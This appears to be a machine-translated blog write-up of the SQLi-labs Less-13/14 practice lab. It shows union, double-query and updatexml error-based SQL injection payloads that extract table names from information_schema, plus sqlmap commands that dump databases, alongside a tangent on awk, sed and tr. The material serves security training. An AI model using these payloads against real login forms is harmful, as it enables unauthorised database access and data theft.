当前位置:网站首页>sqlilabs less13
sqlilabs less13
2022-07-01 14:06:00 【It's always late at night.】
Manual and script

Obviously , Accurate error reporting gives us what we want .
Structure below SQL sentence
select * from table where uname = ('') and password = ('')
When querying the table, it is found that there is no return , Only successful login
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #

When constructing statements, it seems that error injection can be used 
1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
By modifying the limit n,1 Of n To query different rows
Because this double injection is random , It may take several times to succeed 
The field name and data are the same , You can consider burp suite Or write a script .

Um. , To explain awk sed tr Work
awk -F Separator ( such as “ > ”) With > Separator , From the beginning to the first separator > by 1, From the first > To the second is 2…… {print$n} n It's No n individual 1 It's from the beginning to the first separator
tr a b It's a a Replace with b
sed ‘s/a/b/g’ s Is an alternative hold a Replace with b g yes s A mark in the replace command is used to replace all a, If not g Just replace the first a
‘s/(.*),/\1,/’ Will find the last , Replace empty Why?
because . Is to match a single character other than newline , , Add the following single characters 
Is to repeat the previous match N Time or 0 Time Because the first time was , really Repeat it again , A single character after true , splendid Because of repetition N So , All the back ( Except for line breaks ) All can match 
So we give . Parentheses indicate the beginning and end of the subexpression Because there is no limit, the match is all 
Then if I'm (.*) After adding an English comma, it becomes the part with an English comma at the end of the match 
Is it possible to replace the last English comma Try it on the computer !
You can see that the English comma and all the characters before it are replaced , Because there is an English comma at the end of the first two lines, the whole line is replaced by an exclamation point , At the end of the third line is a string of characters, so only the English comma is replaced with an exclamation point . Why is that wrong . Think carefully , It matches the last English comma and all before it , What if I replace the matching with the matching ( Be careful \1 Will capture the first () Specified characters in \2 It's the second one () Internal )
Is the last English comma gone
Another example 
Put the in brackets ab Plus the outside c That is to say abc( Note that there is no g, So only replace the first abc) Replace with \1 The character in the first parenthesis quoted ab, Use \2 Well , Is to put the first abc Replace with c
It is recommended to do it yourself to strengthen understanding
Based on error
Prophase structure sql Statement typing database The accidental discovery of wrong time may also have error based injection 
1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

sqlmap
Grab the package first and then save it in a text file Use
sqlmap -r xx.txt

And then use -dbs 、-D database_name -tables and -D database_name -T table_name --dump
less-14
less14 and less13 Empathy sql The sentence has changed from English single quotation marks with parentheses to English double quotation marks 
边栏推荐
- Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
- 当你真的学会DataBinding后,你会发现“这玩意真香”!
- QT community management system
- Kongsong (Xintong Institute) - cloud security capacity building and trend in the digital era
- This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI
- Scheme of printing statistical information in log
- How to pass array parameters in get request
- 【商业终端仿真解决方案】上海道宁为您带来Georgia介绍、试用、教程
- 程序设计的基本概念
- Introduction to distributed transactions (Seata)
猜你喜欢

那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!

2022 · 让我带你Jetpack架构组件从入门到精通 — Lifecycle

Animesr: learnable degradation operator and new real world animation VSR dataset

清华章毓晋老师新书:2D视觉系统和图像技术(文末送5本)

AnimeSR:可学习的降质算子与新的真实世界动漫VSR数据集

04 redis source code data structure dictionary

Scheme of printing statistical information in log

Etcd summary mechanism and usage scenarios
![[IOT design. Part I] stm32+ smart cloud aiot+ laboratory security monitoring system](/img/a0/2654d43cfb6a135cc15d84447a13f9.png)
[IOT design. Part I] stm32+ smart cloud aiot+ laboratory security monitoring system

sqlilabs less13
随机推荐
leetcode622.设计循环队列(C语言)
uni-app实现广告滚动条
Applet - multiple text line breaks in view
玩转MongoDB—搭建MongoDB集群
用栈实现队列、用队列实现栈(C语言_leetcode_232+225)
【R语言数据科学】:机器学习常见评估指标
A new book by teacher Zhang Yujin of Tsinghua University: 2D vision system and image technology (five copies will be sent at the end of the article)
Fiori 应用通过 Adaptation Project 的增强方式分享
Summary of 20 practical typescript single line codes
QT社团管理系统
Six years of technology iteration, challenges and exploration of Alibaba's globalization and compliance
开源实习经验分享:openEuler软件包加固测试
Basic operation of queue (implemented in C language)
光环效应——谁说头上有光的就算英雄
Fiori applications are shared through the enhancement of adaptation project
被裁三個月,面試到處碰壁,心態已經開始崩了
WebSocket(简单体验版)
【剑指 Offer】55 - II. 平衡二叉树
App automation testing Kaiyuan platform appium runner
When the main process architecture game, to prevent calls everywhere to reduce coupling, how to open the interface to others to call?